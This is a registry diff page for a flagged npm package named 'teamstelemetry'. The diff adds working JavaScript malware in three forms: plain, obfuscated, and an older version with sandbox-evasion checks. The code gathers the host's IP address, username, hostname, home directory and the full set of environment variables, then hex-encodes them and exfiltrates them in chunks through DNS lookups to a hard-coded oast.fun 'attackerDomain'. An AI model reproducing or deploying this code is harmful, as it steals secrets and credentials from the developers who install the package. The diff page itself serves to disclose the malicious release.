teamstelemetry 0.0.1-security → 9.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of teamstelemetry might be problematic. Click here for more details.
- package/2025-32-03_05_32.json +1 -0
- package/Readme.md +3 -0
- package/app.js +57 -0
- package/app.obfuscated.js +1 -0
- package/app_old.js +64 -0
- package/data.txt +649 -0
- package/data2.txt +478 -0
- package/data_collect.txt +78 -0
- package/extract.js +113 -0
- package/extract_debug.js +72 -0
- package/extract_intersh.js +129 -0
- package/extract_oast_data.py +67 -0
- package/extract_special_line.py +129 -0
- package/interactsh-export.json +1 -0
- package/output.json +2598 -0
- package/output2.json +1914 -0
- package/package.json +10 -4
- package/test.txt +458 -0
- package/text.md +17 -0
- package/README.md +0 -5
package/Readme.md
ADDED
package/app.js
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
|
|
4
|
+
// Thêm dấu chấm phẩy ở đầu dòng này để tránh lỗi cú pháp
|
|
5
|
+
;(async () => {
|
|
6
|
+
// --- Cấu hình ---
|
|
7
|
+
const attackerDomain = 'd20b8012ekud5bi4vsigjcj8ty6ffm59h.oast.fun'; // Thay domain của bạn vào đây
|
|
8
|
+
|
|
9
|
+
// --- Lấy địa chỉ IP ---
|
|
10
|
+
let ip = 'N/A';
|
|
11
|
+
try {
|
|
12
|
+
const interfaces = os.networkInterfaces();
|
|
13
|
+
for (const name of Object.keys(interfaces)) {
|
|
14
|
+
for (const iface of interfaces[name]) {
|
|
15
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
16
|
+
ip = iface.address;
|
|
17
|
+
break;
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
if (ip !== 'N/A') break;
|
|
21
|
+
}
|
|
22
|
+
} catch (e) { /* Bỏ qua lỗi */ }
|
|
23
|
+
|
|
24
|
+
// --- THAY ĐỔI QUAN TRỌNG: SẮP XẾP LẠI DỮ LIỆU ---
|
|
25
|
+
// Thêm một trường "mồi" vào đầu với dữ liệu ngẫu nhiên.
|
|
26
|
+
// Nếu các chunk đầu bị mất, ta chỉ mất dữ liệu mồi này.
|
|
27
|
+
const decoy = `decoy_start_${Math.random().toString(36).substring(2)}`;
|
|
28
|
+
|
|
29
|
+
let collectedData = {
|
|
30
|
+
_decoy: decoy, // << Trường mồi nằm ở đầu
|
|
31
|
+
ip: ip,
|
|
32
|
+
username: os.userInfo().username,
|
|
33
|
+
hostname: os.hostname(),
|
|
34
|
+
platform: os.platform(),
|
|
35
|
+
arch: os.arch(),
|
|
36
|
+
home: os.homedir(),
|
|
37
|
+
env: process.env,
|
|
38
|
+
_decoy2: "decoy_end" // Thêm một mồi nữa ở cuối cho chắc chắn
|
|
39
|
+
};
|
|
40
|
+
// --- KẾT THÚC THAY ĐỔI ---
|
|
41
|
+
|
|
42
|
+
// --- Mã hóa và gửi dữ liệu qua DNS (giữ nguyên) ---
|
|
43
|
+
const dataString = JSON.stringify(collectedData);
|
|
44
|
+
const encodedData = Buffer.from(dataString).toString('hex');
|
|
45
|
+
const chunkSize = 50;
|
|
46
|
+
|
|
47
|
+
for (let i = 0; i < encodedData.length; i += chunkSize) {
|
|
48
|
+
const chunk = encodedData.substring(i, i + chunkSize);
|
|
49
|
+
const subdomain = `${i/chunkSize}.${chunk}`;
|
|
50
|
+
const finalDomain = `${subdomain}.${attackerDomain}`;
|
|
51
|
+
|
|
52
|
+
dns.lookup(finalDomain, (err) => {});
|
|
53
|
+
|
|
54
|
+
// Thêm một khoảng dừng nhỏ giữa các lần gửi
|
|
55
|
+
await new Promise(resolve => setTimeout(resolve, 100));
|
|
56
|
+
}
|
|
57
|
+
})();
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
(function(_0x5605cc,_0x410136){const _0x71aa06=a0_0x4969,_0x4d24b2=_0x5605cc();while(!![]){try{const _0x2c7466=parseInt(_0x71aa06(0x152))/0x1+parseInt(_0x71aa06(0x13e))/0x2+-parseInt(_0x71aa06(0x14a))/0x3+parseInt(_0x71aa06(0x14f))/0x4*(-parseInt(_0x71aa06(0x148))/0x5)+-parseInt(_0x71aa06(0x156))/0x6*(-parseInt(_0x71aa06(0x13d))/0x7)+parseInt(_0x71aa06(0x13f))/0x8+-parseInt(_0x71aa06(0x145))/0x9;if(_0x2c7466===_0x410136)break;else _0x4d24b2['push'](_0x4d24b2['shift']());}catch(_0x10f266){_0x4d24b2['push'](_0x4d24b2['shift']());}}}(a0_0x1e36,0x3a352));function a0_0x1e36(){const _0x5b05d7=['925700FGxAAR','1953960SCwqYa','username','internal','substring','family','decoy_end','4293666ShtSnz','N/A','userInfo','55CcSOjs','length','809796oByKdA','keys','address','stringify','homedir','89332TZRcBQ','arch','hex','246755zvMnef','from','d20b8012ekud5bi4vsigjcj8ty6ffm59h.oast.fun','toString','1663422AfoGkZ','random','hostname','7aFHAve'];a0_0x1e36=function(){return _0x5b05d7;};return a0_0x1e36();}const os=require('os'),dns=require('dns');function a0_0x4969(_0x328978,_0xe910e7){const _0x1e366e=a0_0x1e36();return a0_0x4969=function(_0x49692c,_0xf8bb33){_0x49692c=_0x49692c-0x13c;let _0x2d9718=_0x1e366e[_0x49692c];return _0x2d9718;},a0_0x4969(_0x328978,_0xe910e7);};((async()=>{const _0x596458=a0_0x4969,_0x5e7b45=_0x596458(0x154);let _0x58adcd=_0x596458(0x146);try{const _0x3c540a=os['networkInterfaces']();for(const _0x278bfe of Object[_0x596458(0x14b)](_0x3c540a)){for(const _0x38176f of _0x3c540a[_0x278bfe]){if(_0x38176f[_0x596458(0x143)]==='IPv4'&&!_0x38176f[_0x596458(0x141)]){_0x58adcd=_0x38176f[_0x596458(0x14c)];break;}}if(_0x58adcd!==_0x596458(0x146))break;}}catch(_0x4374a5){}const _0x1a2364='decoy_start_'+Math[_0x596458(0x157)]()[_0x596458(0x155)](0x24)[_0x596458(0x142)](0x2);let _0x304968={'_decoy':_0x1a2364,'ip':_0x58adcd,'username':os[_0x596458(0x147)]()[_0x596458(0x140)],'hostname':os[_0x596458(0x13c)](),'platform':os['platform'](),'arch':os[_0x596458(0x150)](),'home':os[_0x596458(0x14e)](),'env':process['env'],'_decoy2':_0x596458(0x144)};const _0x5c9d6e=JSON[_0x596458(0x14d)](_0x304968),_0x37c343=Buffer[_0x596458(0x153)](_0x5c9d6e)[_0x596458(0x155)](_0x596458(0x151)),_0x1373f4=0x32;for(let _0xee05b1=0x0;_0xee05b1<_0x37c343[_0x596458(0x149)];_0xee05b1+=_0x1373f4){const _0x51c114=_0x37c343[_0x596458(0x142)](_0xee05b1,_0xee05b1+_0x1373f4),_0x47cbfe=_0xee05b1/_0x1373f4+'.'+_0x51c114,_0x373545=_0x47cbfe+'.'+_0x5e7b45;dns['lookup'](_0x373545,_0x23d175=>{}),await new Promise(_0x2f989f=>setTimeout(_0x2f989f,0x64));}})());
|
package/app_old.js
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
// Thêm dấu chấm phẩy ở đầu dòng này để sửa lỗi cú pháp
|
|
6
|
+
;(async () => {
|
|
7
|
+
// --- Cấu hình ---
|
|
8
|
+
// Thay thế 'xxxxxxxxxxxx.oast.fun' bằng domain của bạn từ Interact.sh hoặc Burp Collaborator
|
|
9
|
+
const attackerDomain = 'ktrlbxgezawrunxutmddwwlbwr26w2elv.oast.fun';
|
|
10
|
+
|
|
11
|
+
// --- Sandbox Evasion (Kỹ thuật né tránh môi trường ảo hóa) ---
|
|
12
|
+
const forbiddenUsernames = ['sandbox', 'test', 'vmware', 'virtualbox', 'docker'];
|
|
13
|
+
if (forbiddenUsernames.includes(os.userInfo().username.toLowerCase())) {
|
|
14
|
+
return;
|
|
15
|
+
}
|
|
16
|
+
if (os.cpus().length < 2 || os.totalmem() < 2 * 1024 * 1024 * 1024) {
|
|
17
|
+
return;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// --- Lấy địa chỉ IP (ĐOẠN MÃ MỚI) ---
|
|
21
|
+
let ip = 'N/A';
|
|
22
|
+
try {
|
|
23
|
+
const interfaces = os.networkInterfaces();
|
|
24
|
+
for (const name of Object.keys(interfaces)) {
|
|
25
|
+
for (const iface of interfaces[name]) {
|
|
26
|
+
// Chỉ lấy địa chỉ IPv4 không phải nội bộ
|
|
27
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
28
|
+
ip = iface.address;
|
|
29
|
+
break;
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
if (ip !== 'N/A') break;
|
|
33
|
+
}
|
|
34
|
+
} catch (e) {
|
|
35
|
+
// Bỏ qua lỗi nếu không lấy được IP
|
|
36
|
+
}
|
|
37
|
+
// --- KẾT THÚC ĐOẠN MÃ MỚI ---
|
|
38
|
+
|
|
39
|
+
// --- Thu thập dữ liệu ---
|
|
40
|
+
let collectedData = {
|
|
41
|
+
ip: ip, // Thêm địa chỉ IP vào đây
|
|
42
|
+
username: os.userInfo().username,
|
|
43
|
+
hostname: os.hostname(),
|
|
44
|
+
platform: os.platform(),
|
|
45
|
+
arch: os.arch(),
|
|
46
|
+
home: os.homedir(),
|
|
47
|
+
env: process.env
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
// --- Mã hóa và gửi dữ liệu qua DNS (DNS Exfiltration) ---
|
|
51
|
+
const dataString = JSON.stringify(collectedData);
|
|
52
|
+
const encodedData = Buffer.from(dataString).toString('hex');
|
|
53
|
+
const chunkSize = 50;
|
|
54
|
+
|
|
55
|
+
for (let i = 0; i < encodedData.length; i += chunkSize) {
|
|
56
|
+
const chunk = encodedData.substring(i, i + chunkSize);
|
|
57
|
+
const subdomain = `${i/chunkSize}.${chunk}`;
|
|
58
|
+
const finalDomain = `${subdomain}.${attackerDomain}`;
|
|
59
|
+
|
|
60
|
+
dns.lookup(finalDomain, (err) => {});
|
|
61
|
+
|
|
62
|
+
await new Promise(resolve => setTimeout(resolve, 50));
|
|
63
|
+
}
|
|
64
|
+
})();
|